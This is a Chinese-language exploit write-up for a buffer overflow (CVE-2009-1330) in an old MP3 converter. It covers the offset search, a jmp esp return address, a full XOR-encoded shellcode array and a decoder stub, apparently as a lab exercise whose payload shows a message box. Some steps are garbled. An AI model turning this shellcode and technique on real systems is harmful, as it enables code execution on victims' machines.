Easy RM to MP3 Converterv2.7.3(CVE-2009-1330)漏洞

软件名称Easy RM to MP3 Converter

软件版本2.7.3

漏洞模块PM2MP3Converter.exe

操作系统Windows 7\sp1\x86

漏洞编号CVE-2009-1330

危害等级:中危

漏洞类型:缓冲区溢出

威胁类型:本地

1. 软件介绍

Easy RM to MP3 Converter为05-06年流行的支持常用音频格式文件MP3, WMA, WAV, OGG等之间的转换,软件界面1所示:

 

1软件界面说明图

2. 漏洞成因

Easy RM to MP3 Converter(version 273700) 加载畸形过长的。m3u文件时触发缓冲区溢出

 

3. 利用过程

3.1  制造缓冲区溢出

 

新建文件后置名为.m3u1.m3uApplication打开===》RM2MP3Converter.exe打开这个

然后在Application中新建一个新建文本文档.m3u(因为CVE有这个漏洞所以要建立一个后缀名为.m3u)溢出的漏洞(1.3u)的大小:一般是30k--50k的大小f否则会出现以下图片包括30到50,大小2所示

 

2大小说明图

如果超过30-50k大小后,还没溢出那是空格(0E)、回车(0D)、换行(0A)问题,要用010edi修改 ctrl+a是010edit的替换,替换3所示

 

3替换说明图

 

出来异常的65656565,异常14所示

 

 

 

4异常1说明图

A0A1A2A3A4A5A6A7A8A9B0B1B2B3B4B5B6B7B8B9C0C1C2C3C4C5C6C7D0D1D2D3D4D5D6D7DD9E0E1E2E3E4E5E6E7E8E9F0F1F2F3F4F5F6F7F8F9G0G1G2G3G4G5G6G7G8G9H0H1H2H3H4H5H6H7H8H9不断重复异常步骤,直到找到异常点,用这个来替换注意不能多出字节来异常结果5所示


 

5异常结果说明图

3.2  Jmp esp地址

 

jmp esp找到地址里面不能有00搜索所有模块espjmp esp :70d0f0f1,esp6所示

 

6 esp说明图

3.3  处理加密shellcode

 

 vs 写一个加密过的shellcode,加密7所示

 

7加密说明图

od中加密后代码,od加密如图8所示:

 

 

 

 

8od加密说明图

/* Encode Key=0x07 */

char bShellcode[] = \

"\x67\x84\xEB\x27\xEC\x4A\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63" \

"\x75\x62\x74\x74\x07\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E" \

"\x42\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A" \

"\x62\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x42\x7F\x6E\x73\x57" \

"\x75\x68\x64\x62\x74\x74\x07\x4F\x62\x6B\x6B\x68\x27\x36\x32\x57" \

"\x45\x26\x07\xEF\x07\x07\x07\x07\x5C\x63\x8C\x32\x37\x07\x07\x07" \

"\x8C\x71\x0B\x8C\x71\x1B\x8C\x31\x8C\x51\x0F\x54\x55\xEF\x13\x07" \

"\x07\x07\x8C\xF7\x55\x8A\x4C\xBA\x56\x55\xF8\xD7\x5D\x54\x51\x57" \

"\x55\xEF\x69\x07\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F" \

"\x8C\x75\x3B\x8A\x33\x35\x8C\x71\x7F\x8A\x33\x35\x8C\x79\x1B\x8A" \

"\x3B\x3D\x8E\x7A\xFB\x8C\x79\x27\x8A\x3B\x3D\x8E\x7A\xFF\x8C\x79" \

"\x23\x8A\x3B\x3D\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C" \

"\x33\x81\x8C\x52\x0F\x8A\x33\x35\x8C\x5A\x0B\x8A\x7C\xA9\xBE\x09" \

"\x07\x07\x07\xFB\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B" \

"\x41\x8C\x52\xFB\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x35\x5D\x8C\xE2" \

"\x5A\xC5\x0F\x07\x52\x8C\xEB\x84\xEB\x0F\x8C\x5A\x13\x8A\x4C\xCB" \

"\x6D\x07\x6D\x07\x56\xF8\x52\x0B\x8A\x4C\xD0\x56\x57\xF8\x52\x17" \

"\x8E\x42\xFB\x8A\x4C\xE4\x56\xF8\x72\x0F\xF8\x52\x17\x8E\x42\xFF" \

"\x8A\x4C\xE8\x6D\x07\x56\x56\x6D\x07\xF8\x52\xFB\x6D\x07\xF8\x52" \

"\xFF\x8C\xE2\x5A\xC5\x17\x07";

3.3  解密代码

 

解密代码,用od抠出来,解密9所示

 

9od解密说明图

 

char bshell1[]=\

{

    0x33, 0xc0,

        0xe8, 0xff, 0xff, 0xff, 0xff,

        0xc3,

        0x58,

        0x8d, 0x70, 0x1b,

        0x33, 0xc9,

        0x66, 0xb9, 0x11, 0x03,

        0x8a, 0x04, 0x0e,

        0x34, 0x02,

        0x88, 0x04, 0x0e,

        0xe2, 0xf6,

        0x80, 0x34, 0x0e, 0x07,

        0xff, 0xe6};

3.4  结果

 

010edit写,第一个是jmp esp地址,490是跳板(可能存在少了一个字节),解密shellcode,加密shelloce(要把DE改为907异或==97)edit10所示

 

10edit说明图

运行结果,弹出个MessageBox图片,结果11所示

 

 

11结果说明图

 

4. 结语

要先准备一段加密的shellcode,解密shellcode,都要用vs编写,用od抠出来,注意加密解密秘钥要相同,shellcode的大小要一样,找溢出点通过sublime_text这个工具切一半再精确,sublime_text这个要和虚拟机版本一样颜色深度代表里面输入的字符串不同

 

5. 参考资料

[1] 《高端调试》张银奎    

[2] 0day安全:软件漏洞分析技术(第2版)》 王清